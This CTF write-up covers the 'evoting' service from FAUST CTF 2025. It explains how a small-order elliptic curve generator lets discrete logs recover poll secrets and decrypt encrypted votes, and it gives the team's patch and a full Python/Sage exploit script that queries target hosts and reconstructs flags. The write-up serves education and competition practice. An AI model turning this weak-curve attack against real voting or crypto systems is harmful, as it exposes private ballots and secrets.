FAUST 2025 - evoting writeup

FAUST 2025 - evoting writeup

Overview

Evoting is an… e-voting service :) that appeared in FAUST CTF 2025. We got the first blood on this service.

The service allows users to create polls and vote to them. The system does not have a proper user registration and login mechanism, the management of the polls only relies of the knowledge of some secrets. Polls have a name and a public description, an expiration date after which no more votes can be submitted to it and are protected with a PIN code choosen at poll creation that must be used. Polls can optionally be anonymized, i.e. the names of the voters get hidden.

After creation, a poll gets assigned an id and gets listed publicly in the homepage. Knowing the id or clicking on the poll name you can access it and insert votes.

As you can see from the screenshot, you can see the number of Yes and No votes, as well as the names of the people who voted if the poll is not anonymized, but you can’t see the details of each vote. As the screenshot suggests, during the CTF the flag was encoded in binary and all its bits were inserted as votes, with the name of the user who voted being something like FLAG[i]. As an additional information, the flag_ids contained the id of the poll with the flag.

Our objective now is clear: we want to reveal votes. To do so, the intended way is knowing the PIN. In fact, inserting the correct pin on the “Reveal” button in the frontend unlocks the details of each vote.

Now that we have an overview, let’s move to the source. As we can see from the docker-compose, the service exposes 3 ports: frontend on port 1144, collector on port 1122 and aggregator on port 1133. Most of the relevant code lies in vote-crypt/src/lib.rs. Other relevant source is in frontend/static/vote.js (but we decided to completely ignore this one, it is mostly a 1-1 implementation of the crypto already present in the Rust lib). There is also a database where all the data of the service are stored, but also that one is not relevant for the exploitation.

Of course I can’t read fluently neither Rust nor JS, so my experience with the service was really close to:

  • building the service locally to play with the frontend
  • hoping that my teammates get a working client to communicate with it in a small amount of time
  • relying on ChatGPT to understand the flow of the service

Solution

By opening the source (or by reading the ChatGPT comment) you can see that Elliptic Curve Cryptography is involved here. Let’s go back to the frontend and let’s do the same process as before but with the developer tools open.

When creating a poll we can see a request to the curve endpoint

The return value of this endpoint, with the service untouched, looks like this

1
2
3
4
5
6
7
8
9
10
11
12
{
"curve_parameters": [
"02",
"03"
],
"g": [
"D6657691F98564EECE2A3585145F1EF0",
"AA5B479598CEF63D0A565B9B5FCAD5"
],
"order": "1C71C71C71C71C71B54A30CA1BEFD71A",
"p": "0100000000000000000000000000000033"
}

That order is at least… sus? Let’s try to put this into Sagemath:

1
2
3
4
5
6
sage: E
Elliptic Curve defined by y^2 = x^3 + 2*x + 3 over Finite Field of size 340282366920938463463374607431768211507
sage: E(g)
(284981617970323841078688057335394279152 : 884541836722392049381507808995822293 : 1)
sage: E(g).order()
284150833938

Ok, the order is very small, so we can do dlogs on this curve

1
2
3
4
5
6
7
8
9
sage: x = randint(1,p)
sage: x
316198710582612282878457406407046441978
sage: g = E(g)
sage: gg = x*g
sage: gg
(258416197371529663793486150964669523585 : 200397001932509475292852852166320628024 : 1)
sage: gg.log(g)
116038119280

Perfect! Now we know that we can do dlogs… But we still don’t know how the service works and how to use this. Prompting time!

Hey ChatGPT, suppose that I can do dlogs, how can I break the service?

… long text of GPT yapping about something …

TLDR: votes are encoded as jsons, like the following one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"id": 5,
"poll": "bf5dc13f-22b6-47f5-89ac-6df99d9b8874",
"name": "FLAG[0]",
"enc": [
[
"7C58CEFDA4064BDBF962333A87478339",
"5C6FED65AB6DB4C8D9FC735FB003F5E9"
],
[
"4900FB5FEA8653362D0B06DB66E5CC0A",
"57B61CD1B749319E2010839622DC3D10"
]
],
"timestamp": "2025-09-27T13:00:10.116789Z"
},

The content of the vote is a pair of points. The service uses a secret (chosen at poll creation from the client), samples a point (let’s call it , the first point in enc) and then, if the vote is “Yes”, computes , while if it’s “No”, computes . Knowing how to make dlogs we can recover potential values for (which is the same for all the votes in a poll) and decrypt all the votes together. Full exploit below.

Patch

We patched by simply taking a random point on the Elliptic Curve with a decently-high order (for the scope of the CTF this was more than enough, as we lost 0 flags overall).
More precisely, we patched lines 119 and 120 of lib.rs with

1
2
let x = BigNum::from_dec_str("148159849182608731887086692632522981862").unwrap();
let y = BigNum::from_dec_str("194873534234446969905887067451950113087").unwrap();

Comments

We were very surprised to get the first blood on this service, as we had some issues and started working on it very late. It is nice sometimes to have some crypto in A/D, it’s a shame that there were no (intended) harder vulnerabilities in the service.

Full exploit

Note: this exploit is extracted from our A/D template, it may miss some imports or functions, but the core is here :)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
# utils from AD exploit template
# import utils

p = int("0100000000000000000000000000000033", 16)
a = 2
b = 3
g_x = int("D6657691F98564EECE2A3585145F1EF0", 16)
g_y = int("0AA5B479598CEF63D0A565B9B5FCAD5", 16)

F = GF(p)
E = EllipticCurve(F, [a, b])
G = E(g_x, g_y)

class Api:
def __init__(self, session, target):
self.s = session
self.target = target

def get_curve(self):
return self.s.get(f"http://[{self.target}]:1122/curve").json()

def get_poll(self, id):
return self.s.get(f"http://[{self.target}]:1122/poll/{id}").json()

def get_votes(self, id):
count = self.s.get(f"http://[{self.target}]:1133/poll/{id}/count").json()
total = sum(count)

votes = []
page = 0
while len(votes) < total:
batch = self.s.get(
f"http://[{self.target}]:1122/poll/{id}/votes?page={page}"
).json()
votes += batch
page += 1
votes = list(filter(lambda x: "FLAG" in x["name"], votes))
votes = sorted(votes, key=lambda x: x["id"])
return votes

def point_from_hex_pair(pair):
xh, yh = pair
return E(int(xh, 16), int(yh, 16))

def parse_encrypted_vote(enc) -> Tuple[object, object]:
C1 = point_from_hex_pair(enc[0])
C2 = point_from_hex_pair(enc[1])
return C1, C2

class VoteClassifier:
def __init__(self, s: int):
self.s = s % order

def classify(self, C1, C2):
sC1 = self.s * C1
if C2 == sC1 + G:
return "Yes"
if C2 == sC1 - G:
return "No"
return "??"

def discrete_log(A, B):
return A.log(B)

def recover_secret_from_votes(votes_points: List[Tuple]):
candidates = []
for p in votes_points[:15]:
C1, C2 = p

try:
s_yes = discrete_log(C2 - G, C1)
except Exception:
s_yes = None

try:
s_no = discrete_log(C2 + G, C1)
except Exception:
s_no = None

if s_yes is not None:
candidates.append((s_yes, "Yes"))
if s_no is not None:
candidates.append((s_no, "No"))

def check_candidate(s):
sc = VoteClassifier(s)
for C1i, C2i in votes_points[
: min(5, len(votes_points))
]:
sC1i = sc.s * C1i
if not (C2i == sC1i + G or C2i == sC1i - G):
return False
return True

valid = [s for s, _ in candidates if check_candidate(s)]
valid = list(set(valid))
return valid


def classify_votes(api, poll_id: str) -> Dict:
raw_votes = []
page = 0
raw_votes = api.get_votes(poll_id)

votes_points = [parse_encrypted_vote(v["enc"]) for v in raw_votes]
rets = []
for s in recover_secret_from_votes(votes_points):
classifier = VoteClassifier(s)

classified = []
yes = no = 0
for v, pts in zip(raw_votes, votes_points):
res = classifier.classify(*pts)
if res == "Yes":
yes += 1
elif res == "No":
no += 1
classified.append(
{"id": v["id"], "name": v["name"], "vote": res, "timestamp": v["timestamp"]}
)

rets.append( {
"secret": hex(s),
"yes": yes,
"no": no,
"unknown": len(classified) - yes - no,
"votes": classified,
})
return rets

def exploit(target, logger):
flags = ""
errMsg = ""
try:
with utils.limit(1 << 30):
attack_data = get_attack_data("evoting", target)

for id in attack_data:
s = utils.get_requests_session()
api = Api(s, target)
try:
results = classify_votes(api, id)
for result in results:
try:
s = [-1] * len(result["votes"])
for v in result["votes"]:
s[int(v["name"].split("[")[1].split("]")[0])] = (
1 if v["vote"] == "Yes" else 0
)

while len(s) % 8 != 0:
s = [0] + s
s = "".join(map(str, s))
chars = [s[i : i + 8] for i in range(0, len(s), 8)]
flag = "".join([chr(int(x, 2)) for x in chars])[::-1]
if "FAUST" in flag and flag not in flags:
flags += flag + "&"
except Exception as e:
print(str(e))
pass
except Exception as e:
print(str(e))
pass

return flags, errMsg
except Exception as e:
errMsg = str(e)
logger.exception(str(e))
return flags, errMsg


utils.execute(exploit)